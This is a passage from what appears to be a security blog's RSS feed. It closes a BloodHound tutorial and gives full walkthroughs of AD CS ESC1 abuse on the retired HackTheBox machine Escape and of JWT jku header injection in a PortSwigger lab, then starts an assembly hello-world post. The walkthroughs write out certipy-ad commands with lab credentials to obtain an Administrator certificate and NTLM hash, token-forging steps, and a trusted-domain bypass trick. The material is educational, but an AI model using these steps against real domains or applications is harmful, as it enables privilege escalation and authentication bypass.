&lt;p&gt;Now go to the &lt;strong&gt;Explorer&lt;/strong&gt; from the side menu and search the user (Olivia) that we have credential for and select the user. This will bring the user object into the main screen, now select the Olivia user object, right click on it and select &lt;strong&gt;Add to Owned&lt;/strong&gt;. Adding objects to owned helps bloodhound figure out more accurate attack paths compared to non-owned objects. It&apos;s always a good practice to add objects to owned if you have them compromised.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/bloodhound/s5.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Outbound Object Control&lt;/h4&gt;
&lt;p&gt;Now next steps is to check the &lt;strong&gt;Outbound Object Control&lt;/strong&gt; of the selected object. Outbound Object Control means which objects our user can control or have privilege over. This can be found on the right side of the bloodhound ui after selecting the object under &lt;strong&gt;Object Information&lt;/strong&gt; and scrolling down. Selecting Outbound Object Control will show us the privilege that our user has over the other object by connecting them with an edge. Our user olivia has &lt;strong&gt;GenericAll&lt;/strong&gt; privilege over user Michael. GenericAll means that we have full control over the target object.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/bloodhound/s6.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Pathfinding&lt;/h4&gt;
&lt;p&gt;Now we know that we have complete control over user Michael, so next we check the outbound object control of user michael and find that Michael has &lt;strong&gt;ForceChangePassword&lt;/strong&gt; privilege over use benjamin. We can see this complete attack path by going to Pathfinding next to where we searched our user olivia and entering Olivia in the start node input field and Benjamin in destination node. This will show us the complete path from our user olivia to benjamin.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/bloodhound/s7.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Relationship Information and Inbuilt Abuse Suggester&lt;/h4&gt;
&lt;p&gt;Now bloodhound also tells us the tools and commands we need to run to abuse these privileges mentioned on the edges. We can access that information by clicking on the edge and then check the Relationship Information on the right side of the bloodhound UI. Expanding the various subsections gives us information on how we can abuse the privilege on various systems. Since we do not have access to the target machine yet we will check the Linux abuse section. This gives us information about various tools, methods and commands that we can use to exploit that privilege.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/bloodhound/s8.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Bloodhound Cypher&lt;/h2&gt;
&lt;p&gt;In BloodHound, Cypher is the query language used to interact with the Neo4j graph database, which stores all of the data BloodHound collects about an Active Directory (AD) environment. Cypher allows you to write custom queries to explore Active Directory relationships in detail. It helps find hidden attack paths, over-privileged accounts, and misconfigurations by analyzing complex connections between users, groups, and computers. Since it&apos;s optimized for graph data, Cypher is fast and scalable, making it ideal for both red and blue team assessments.&lt;/p&gt;
&lt;p&gt;We can access Cypher by clicking on Cypher at the top, its right beside pathfinding along with search. Cypher contains a lot of presets by default that we can use for advanced mapping and it can be accessed by clicking the little folder icon.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/bloodhound/s9.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can also use our own Cypher query, check out this &lt;a href=&quot;https://bloodhound.specterops.io/analyze-data/bloodhound-gui/cypher-search#what-is-cypher&quot;&gt;documentation&lt;/a&gt; by SpecterOps for further reference on how to use cypher in bloodhound.&lt;/p&gt;
&lt;h2&gt;Deleting Data from Bloodhound&lt;/h2&gt;
&lt;p&gt;If you want to delete your ingested bloodhound data once you are done with your work so that it does not conflict with other data that you add into bloodhound in future, access Administration from the side menu and then select &lt;strong&gt;Database Management&lt;/strong&gt;, here select all the checkboxes and click delete, it will prompt you to input a keyword, after inputting that keyword select delete and wait for a while, the ingested data will be deleted from bloodhound database.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/bloodhound/s10.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;In this blog, we discussed the introduction to bloodhound, data collectors or ingestors, installing bloodhound on kali linux, installing ingestors, collecting data using various ingestors like sharphound, bloodhound-python and netexec. We also learned about common nodes and edges in bloodhound. Then we looked at a little example on how to use bloodhound and all the main components of bloodhound like the search functionality, pathfinding and cypher. And we looked at what to look out for when going through data in bloodhound i.e. Outbound Object Control. Deleting data from bloodhound once we are done with our work.&lt;/p&gt;
</content:encoded></item><item><title>Abusing Active Directory Certificate Services</title><link>https://snipevx.github.io/posts/abusing-adcs/</link><guid isPermaLink="true">https://snipevx.github.io/posts/abusing-adcs/</guid><description>Learn about the significance of active directory certificates in pentesting, abusing ADCS and ESC1 attack.</description><pubDate>Sat, 21 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What is Active Directory Certificate Services (ADCS) ?&lt;/h2&gt;
&lt;p&gt;Active Directory Certificate Services (AD CS) is a Windows Server role responsible for issuing, managing and validating digital certificates within a public key infrastructure (PKI). Active Directory Certificate Services provides a secure and scalable platform for managing digital identities, ensuring the confidentiality, integrity and availability of information within an organization. Active Directory Certificate Services is currently supported in all major versions of windows server: Windows Server 2025, 2022, 2019, 2016, and 2012 R2.&lt;/p&gt;
&lt;h3&gt;Main components of Active Directory Certificate Services:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Certificate Authority (CA):&lt;/strong&gt; Issues and manages digital certificates.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Certificate Templates:&lt;/strong&gt; Define the properties and usage of certificates.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Certificate Authority Web Enrollment:&lt;/strong&gt; Allows users and computers to request certificates through a web-based interface.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Public Key Infrastructure:&lt;/strong&gt; PKI manages certificates and public key encryption.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Certificate Signing Request:&lt;/strong&gt; CSR is a message send to CA to request a signed certificate&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Extended Key Usage:&lt;/strong&gt; Extended Key Usage are object indentifiers that define how a generated certificate may be used.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Certificate Templates&lt;/h2&gt;
&lt;p&gt;Since Active Directory Certificate Services is such a critical service, it usually runs on only a few selected domain controllers, normal users can&apos;t interact with the AD CS directly. Some organizations that are too large have administrator&apos;s that create and distribute each certificate manually, distributing certificates manually to each user is not feasible in larger organizations. This is where certificate templates come into action, AD CS administrators can create several templates that can allow users with the relevant permission to request a certificate themselves. These certificate templates have specific parameters that define which user can request the certificate and what permissions are required.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/adcs-abuse/csr-1.png&quot; alt=&quot;CSR&quot; /&gt;
Credit: SpecterOps&lt;/p&gt;
&lt;h2&gt;What vulnerabilities can arise with Certificate Templates ?&lt;/h2&gt;
&lt;p&gt;This vulnerability was researched and discovered by &lt;a href=&quot;https://specterops.io/&quot;&gt;SpecterOps&lt;/a&gt; and later disclosed in their &lt;a href=&quot;https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf&quot;&gt;whitepaper&lt;/a&gt; in 2021. This whitepaper highlights how specific combination of parameters in certificate templates can be abused and lead to privilege escalation to domain administrator and persistent access for years.&lt;/p&gt;
&lt;h2&gt;Format of a Certificate Template&lt;/h2&gt;
&lt;p&gt;A certificate template consists of various parameters, a misconfigured combination of these parameters leads to vulnerabilities in certificate templates. Some of the well known vulnerabilities in certificate templates are: ESC1, ESC4, ESC7, ESC9, ESC15 and so on.&lt;/p&gt;
&lt;p&gt;Here is what a certificate vulnerable to ESC1 looks like:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/adcs-abuse/esc1.png&quot; alt=&quot;ESC1 Vulnerable Certificate&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The template is vulnerable to ESC1 because it has: Enrollee supplies subject and template allows client authentication parameters enabled.
Other ESC(2-16) vulnerabilities have different combination of parameters in templates that make them vulnerable.&lt;/p&gt;
&lt;h2&gt;Exploiting AD CS Templates&lt;/h2&gt;
&lt;p&gt;For this blog, i will be using a retired machine from HackTheBox: &lt;a href=&quot;https://app.hackthebox.com/machines/531&quot;&gt;Escape&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The first step to determining vulnerable templates, is using our credentials to collect data for bloodhound and figuring out whether our compromised user account has access to the ADCS or not.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/adcs-abuse/bloohound.png&quot; alt=&quot;bloodhound&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here in bloodhound we can see that our compromised user &lt;em&gt;Ryan Cooper&lt;/em&gt; is part of the &lt;strong&gt;CERTIFICATE SERVICE DCOM ACCESS&lt;/strong&gt; group. Which seems to be the ADCS group.&lt;/p&gt;
&lt;p&gt;This can also be identified in powershell by running:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;whoami /all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/adcs-abuse/priv1.png&quot; alt=&quot;group membership&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that we know that our user is potentially part of the ADCS group, we can use &lt;a href=&quot;https://github.com/ly4k/Certipy&quot;&gt;certipy-ad&lt;/a&gt; - a very powerful tool for attacking and enumerating AD CS. It supports identification and exploitation of ESC1-ESC16 vulnerabilities.&lt;/p&gt;
&lt;p&gt;Certipy-ad can be installed on kali linux using apt: &lt;code&gt;sudo apt-get install certipy-ad&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: certipy-ad often goes through various updates, so the commands and switches/flags I am using in this blog works as of 21-06-2025, it may or may not work in future. So please reference the official documentation for certipy-ad on their github repository.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Identifying vulnerable templates:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We can use certipy-ad to identify vulnerable templates using the credential for the user we have access to, certipy-ad accepts both password and ntlm hash for authentication.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad find -u &quot;ryan.cooper@sequel.htb&quot; -p &quot;NuclearMosquito3&quot; -dc-ip 10.10.11.202 -vulnerable -enabled -stdout
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Flags:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;find&lt;/strong&gt;: certipy-ad option for enabling certificate enumeration&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-u&lt;/strong&gt;: username&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-p&lt;/strong&gt;: password&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-dc-ip&lt;/strong&gt;: domain controller ip&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-vulnerable&lt;/strong&gt;: find vulnerable templates on the dc&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-enabled&lt;/strong&gt;: search for enabled/working templates only&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-stdout&lt;/strong&gt;: standard output, output the result of terminal instead of writing them to files which certipy-ad does by default (it creates a mess).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We get the result and one of the templates is vulnerable to ESC1 because it has 2 particular parameters: &lt;em&gt;Enrollee supplies subject&lt;/em&gt; and template allows &lt;em&gt;client authentication&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/adcs-abuse/vuln_template.png&quot; alt=&quot;vuln template&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Requesting Administrator&apos;s certificate:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now that we know the target template and its details, we can abuse it to issue administrator user&apos;s certificate and get access to target system as admin. This is also done using certipy-ad&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -u &apos;ryan.cooper@sequel.htb&apos; \
-p &apos;NuclearMosquito3&apos; \
-dc-ip 10.10.11.202 \
-target &apos;sequel.htb&apos; \
-ca &apos;sequel-DC-CA&apos; -template &apos;UserAuthentication&apos; \
-upn &apos;Administrator@sequel.htb&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Flag:
Other than the flags i discussed above here is what the other flags are for,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;req&lt;/strong&gt;: certipy-ad option requesting certificate&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-target&lt;/strong&gt;: specify target domain&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-ca&lt;/strong&gt;: Name of the certificate authority, can be found on the result of vulnerable template enumeration we did previously&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-upn&lt;/strong&gt;: User Principal Name of target user, i.e. Administrator&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This will request a certificate for administrator user from the AD CS and save it as a &lt;strong&gt;.pfx&lt;/strong&gt; (personal information exchange file) file on our system.
&lt;img src=&quot;./images/adcs-abuse/admin_cert.png&quot; alt=&quot;admin certificate dumped&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Dumping Administrator&apos;s NTLM hash using the PFX file:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now we can use certipy-ad to use the administrator.pfx file and dump the ntlm hash for administrator user:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.202
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Flags:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;auth&lt;/strong&gt;: certipy-ad option for authentication&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-pfx&lt;/strong&gt;: specifying the pfx file to use&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And we get the administrator ntlm hash that we can use with psexec, evil-winrm, etc to authenticate and access the target system as administrator.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/adcs-abuse/admin_hash.png&quot; alt=&quot;admin hash&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;In this blog we discussed about Active Directory Certificate Services, its components, working of certificate templates SpecterOps discovery and research of certificate template abuse. Then we discussed template vulnerabilities (ESC), how we identify esc1 vulnerability using certipy-ad, how to request administrator&apos;s certificate using certipy-ad and then dumping the NTLM hash of the administrator, which can then be used for authentication via various protocols like winrm, smb, etc.&lt;/p&gt;
</content:encoded></item><item><title>Bypassing JWT authentication through jku header injection</title><link>https://snipevx.github.io/posts/jku-injection/</link><guid isPermaLink="true">https://snipevx.github.io/posts/jku-injection/</guid><description>Bypassing JWT security through JKU header injection to manipulate authentication</description><pubDate>Sun, 26 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;JSON Web Tokens (JWTs) represent a standardized framework for the secure transmission of cryptographically signed JSON data between systems. While JWTs have the capacity to encapsulate diverse types of data, their predominant application lies in conveying user-related information, or &quot;claims,&quot; which facilitate authentication, session management, and access control mechanisms.&lt;/p&gt;
&lt;p&gt;In contrast to traditional session tokens, JWTs encapsulate all requisite data on the client side within the token itself. This architectural advantage renders JWTs especially advantageous for highly distributed web platforms, enabling seamless user interactions across multiple back-end servers.&lt;/p&gt;
&lt;p&gt;A JWT consists of 3 parts: a header, a payload, and a signature. These are each separated by a dot.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;xxxxx.yyyyy.zzzzz&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Header&lt;/h3&gt;
&lt;p&gt;The header typically consists of two parts: the type of the token, which is JWT, and the signing algorithm being used, such as HMAC SHA256 or RSA.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;alg&quot;: &quot;HS256&quot;,
  &quot;typ&quot;: &quot;JWT&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, this JSON is Base64Url encoded to form the first part of the JWT.&lt;/p&gt;
&lt;h3&gt;Payload&lt;/h3&gt;
&lt;p&gt;The second part of the token is the payload, which contains the claims. Claims are statements about an entity (typically, the user) and additional data. There are three types of claims: registered, public, and private claims.&lt;/p&gt;
&lt;p&gt;An example payload could be:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;sub&quot;: &quot;8261290123&quot;,
  &quot;name&quot;: &quot;Kiko&quot;,
  &quot;admin&quot;: true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The payload is then Base64Url encoded to form the second part of the JSON Web Token.&lt;/p&gt;
&lt;h3&gt;Signature&lt;/h3&gt;
&lt;p&gt;To create the signature part you have to take the encoded header, the encoded payload, a secret, the algorithm specified in the header, and sign that.&lt;/p&gt;
&lt;p&gt;For example if you want to use the HMAC SHA256 algorithm, the signature will be created in the following way:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HMACSHA256(
  base64UrlEncode(header) + &quot;.&quot; +
  base64UrlEncode(payload),
  secret)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The signature is used to verify the message wasn&apos;t changed along the way, and, in the case of tokens signed with a private key, it can also verify that the sender of the JWT is who it says it is.&lt;/p&gt;
&lt;h2&gt;Public and Private keys&lt;/h2&gt;
&lt;p&gt;Public and Private keys play a crucial role in ensuring the security and integrity of the data transmitted between systems. This mechanism typically involves asymmetric cryptography, where a pair of keys—one public and one private—are used.&lt;/p&gt;
&lt;p&gt;The private key is used to sign the JWT, creating a unique signature that verifies the authenticity of the token and ensures that the data has not been tampered with. This private key is kept secret and is only known to the issuer of the token.&lt;/p&gt;
&lt;p&gt;The corresponding public key is then distributed to any systems or services that need to verify the JWT. When a JWT is received, the recipient uses the public key to validate the signature. If the signature is valid, it confirms that the token was indeed signed by the holder of the private key and that its contents are trustworthy.&lt;/p&gt;
&lt;h2&gt;JWT header parameter injections&lt;/h2&gt;
&lt;p&gt;According to the JWS specification, only the &lt;code&gt;alg&lt;/code&gt; header parameter is mandatory. However, in practical applications, JWT headers (also known as JOSE headers) typically include several additional parameters. The following parameters are particularly noteworthy for attackers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;jwk&lt;/code&gt; (JSON Web Key) - Contains an embedded JSON object that represents the key.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;jku&lt;/code&gt; (JSON Web Key Set URL) - Specifies a URL from which servers can retrieve a set of keys, including the correct key.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;kid&lt;/code&gt; (Key ID) - Provides an identifier that servers use to select the appropriate key when multiple keys are available. This identifier may correspond to a matching &lt;code&gt;kid&lt;/code&gt; parameter in the key.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Injecting self-signed JWTs via the jku parameter&lt;/h2&gt;
&lt;p&gt;Instead of directly embedding public keys using the &lt;code&gt;jwk&lt;/code&gt; header parameter, some servers utilize the &lt;code&gt;jku&lt;/code&gt; (JWK Set URL) header parameter to reference a JWK Set that encompasses the key. During the signature verification process, the server dynamically fetches the pertinent key from the provided URL, enhancing flexibility and scalability in key management.&lt;/p&gt;
&lt;p&gt;JWK Sets are often made publicly accessible through standardized endpoints, such as &lt;code&gt;/.well-known/jwks.json&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Exploitation&lt;/h3&gt;
&lt;p&gt;Install the jwt editor plugin in burpsuite from the bapp store. This will help us modify the jwt smoothly.
For this example we are using the &lt;a href=&quot;https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection&quot;&gt;JWT authentication bypass via jku header injection&lt;/a&gt; lab from portswigger.&lt;/p&gt;
&lt;p&gt;Make sure burp is running, then login into your account with the provided credentials &lt;code&gt;wiener:peter&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Go to burp &amp;gt; Proxy &amp;gt; HTTP History and send the &lt;code&gt;GET /my-account&lt;/code&gt; request to burp repeater and switch to the JSON Web Token tab.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/jku/image-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If you try to change the path from &lt;code&gt;/my-account&lt;/code&gt; to &lt;code&gt;/admin&lt;/code&gt; and then send the request, the application with respond with 401 Unauthorized.&lt;/p&gt;
&lt;p&gt;Now head over to the JWT Editor tab on the main menu bar and click on &lt;code&gt;New RSA Key&lt;/code&gt; and click on generate, then click on OK.
This will generate a pair of RSA Keys that we will use to bypass the authentication.&lt;/p&gt;
&lt;p&gt;Now right click on the generated RSA Key in the JWT Editor tab and click on &lt;code&gt;Copy Public Key as JWK&lt;/code&gt;.
Now head over to the application in the browser and open the exploit server. In the body section, create an empty jwk set like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;keys&quot;: [

    ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now paste the keys you copied from the jwt editor in between the empty jwk set, it should look something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;keys&quot;: [
        {
            &quot;kty&quot;: &quot;RSA&quot;,
            &quot;e&quot;: &quot;AQAB&quot;,
            &quot;kid&quot;: &quot;807dbd28-3e50-4058-a54f-7ff8792712cc&quot;,
            &quot;n&quot;: &quot;s8ciu2j6jc7tM1zIkA5IJt_LK0xRnFfcAfKqtGH6Uoh0I3CWOHsjvZVgZn0LNrFq78h6v4XhnIQB_zc7QdUGFchOppUQNYScVYxkjIOJpbXmI4Tm5-7SI_GNQqJ9MlzZTA6m243QGJyP-01VOOyA6Cy6Dq-fvgetbmizcpzbO0Qtycg7e89FBWkD7RS_-73SCQ11O83EJAXP19fmIUFskyL5nx_cSkMiA4Lo0dya23rCSBWMwSzuMT9ekVWK-kUss-JKypwKE5-DKrqogrsAjAg_VOIs_jRiRNUVRuS3qSk41lii_-ZJVLw0CWVue-eECwsp55XZSWNzdGHXAQtyKw&quot;
        }
    ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Click on store to save the keys.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: Here the exploit server is acting as a file hosting service, where we are hosting our public keys, in a real life scenario you will need to use a service to host the file to make it accessible over the internet, such as ngrok.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now back to burp, switch to the repeater tab and then to the JSON Web Token tab. Here we will have to modify a few headers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;change the value of the kid header to the value of the kid header we put in the exploit server.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;add jku header and set its value to the url of the exploit server (it can be found on the top of the exploit server page in the application)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;change the value of sub parameter in the payload section from &lt;code&gt;wiener&lt;/code&gt; to &lt;code&gt;administrator&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now we will sign the jwt with the RSA key we generated at the bottom click sign button. A popup will appear, select your RSA key and make sure the &lt;code&gt;Don&apos;t modify header&lt;/code&gt; option is checked and click on OK.&lt;/p&gt;
&lt;p&gt;Now we are all set, make sure to check the path is set to /admin and click on Send to send the request.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/jku/image.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we have successfully bypassed the jwt authentication.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: Many secure websites will only fetch keys from trusted domains, but you can sometimes take advantage of URL parsing discrepancies to bypass this kind of filtering. Example: &lt;code&gt;https://allowed-host@attacker-host&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Writing your first assembly program</title><link>https://snipevx.github.io/posts/writing-your-first-assembly-program/</link><guid isPermaLink="true">https://snipevx.github.io/posts/writing-your-first-assembly-program/</guid><description>Learn about bare basics of assembly language and how to write a basic program in assembly</description><pubDate>Mon, 03 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Assembly is a low level programming language and is used to communicate directly with a computer hardware. Unlike machine language which consists of binary and hex characters, assembly language is readable by humans.&lt;/p&gt;
&lt;p&gt;Every computer has a microprocessor (like intel and amd) that manages all the arithemtical, logical and control activities. Each family of processor has its own set of instructions for managing different operations. These set of instructions are called &apos;machine language instructions&apos;.&lt;/p&gt;
&lt;p&gt;A processor understands only machine language instructions, which are strings of 1&apos;s and 0&apos;s. However, machine language is too complex for general development and other programming tasks. So, assembly language is designed for a specific family of processors that represents various instructions in symbolic code and a more understandable form.&lt;/p&gt;
&lt;p&gt;In this blog we will talk about assembly language from a security researcher&apos;s perspective.&lt;/p&gt;
&lt;h1&gt;WHY LEARN ASSEMBLY ?&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Unlike some skills in cybersecurity like network-security and web-app pentesting, assembly language knowledge is relatively rare. And hence if a company needs someone with knowledge of assembly the value will automatically get high (rarity = valuable).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Essential for learning reverse engineering&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Essential for writing memory corruption and other low level exploits.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Knowledge of assembly language is required for understanding the concept of computer architecture in detail.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;To become a good hacker you should know how systems work in detail and assembly language is essential for that.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are various syntax assembly is written in which the instructions are same, the way the instructions are represented differ. For this blog we will be writing our program in intel x86 syntax.&lt;/p&gt;
&lt;h1&gt;REGISTERS&lt;/h1&gt;
&lt;p&gt;Registers are the small storage areas in the processor. They are used to store memory address, values or anything that can be represented with 4 bytes &lt;em&gt;(4 Bytes = 32 Bits. A byte is 8 bits. It can store up to 28 (256) different values, or one character of ASCII text. A bit is the basic unit of information.)&lt;/em&gt; or less.&lt;/p&gt;
&lt;p&gt;In x86 Architecture there are 6 general purpose registers.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;eax&lt;/li&gt;
&lt;li&gt;ebx&lt;/li&gt;
&lt;li&gt;ecx&lt;/li&gt;
&lt;li&gt;edx&lt;/li&gt;
&lt;li&gt;esi&lt;/li&gt;
&lt;li&gt;edi&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These registers are generally use as they are needed. There are 3 purpose that are reserved for specific purposes&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ebp&lt;/li&gt;
&lt;li&gt;esp&lt;/li&gt;
&lt;li&gt;eip&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;STACK&lt;/h1&gt;
&lt;p&gt;The stack is a data structure comprised of elements that are added or removed with operations- &lt;strong&gt;push&lt;/strong&gt; or &lt;strong&gt;pop&lt;/strong&gt; and &lt;strong&gt;ret&lt;/strong&gt; .&lt;/p&gt;
&lt;p&gt;push adds an element to the top of the stack &amp;amp; pop removes an element from the top of the stack.
The ret instruction transfers control to the return address located on the stack&lt;/p&gt;
&lt;p&gt;Each element on a stack is assigned a stack address. Elements that are higher on the stack have lower address than those on the bottom of the stack. In other words stack grows towards lower memory address.&lt;/p&gt;
&lt;p&gt;Whenever a function is called its setup with what we call a stack frame. All of the local variables of the function will be stored in that stack frame (which means each function has its own stack).&lt;/p&gt;
&lt;p&gt;Lets talk about the two special purpose registers we mentioned earlier (esp, ebp).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ebp&lt;/strong&gt; (base pointer) → contains the address of the base of current stack frame.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;esp&lt;/strong&gt; (stack pointer) → contains the address of the top of current stack frame.&lt;/p&gt;
&lt;p&gt;All the addresses outside of the current stack frame are called JUNK by the compiler.&lt;/p&gt;
&lt;p&gt;The return address is outside of the stack frame. All th space b/w esp &amp;amp; ebp is considered the stack frame.&lt;/p&gt;
&lt;h1&gt;HELLO WORLD IN ASSEMBLY&lt;/h1&gt;
&lt;p&gt;Although its not really necessary to learn how to write in assembly just understanding how to read it will be enough. But hey it won&apos;t hurt to do a little hello world program will it ?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BITS 32

extern printf

section .rodata
    hello_world: db &quot;hello, world!&quot;, 10, 0

section .text
    global main

    main:
        push ebp
        mov ebp, esp

        push hello_world
        call printf
        add esp, 4

        mov eax, 0
        mov esp, ebp
        pop ebp
        ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;save this file as whatever file name you want but add .asm in last.
Now we will compile this file and run it. Before compiling there are some packages you need to install (i am using ubuntu, if you are using other operating system then you might have to look up these packages for your os.)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;nasm&lt;/li&gt;
&lt;li&gt;gcc&lt;/li&gt;
&lt;li&gt;gcc-multilib&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get install nasm gcc gcc-multilib
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once the packages are installed, let&apos;s compile our program and run it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nasm -f elf hello.asm
&lt;/code&gt;&lt;/pre&gt;
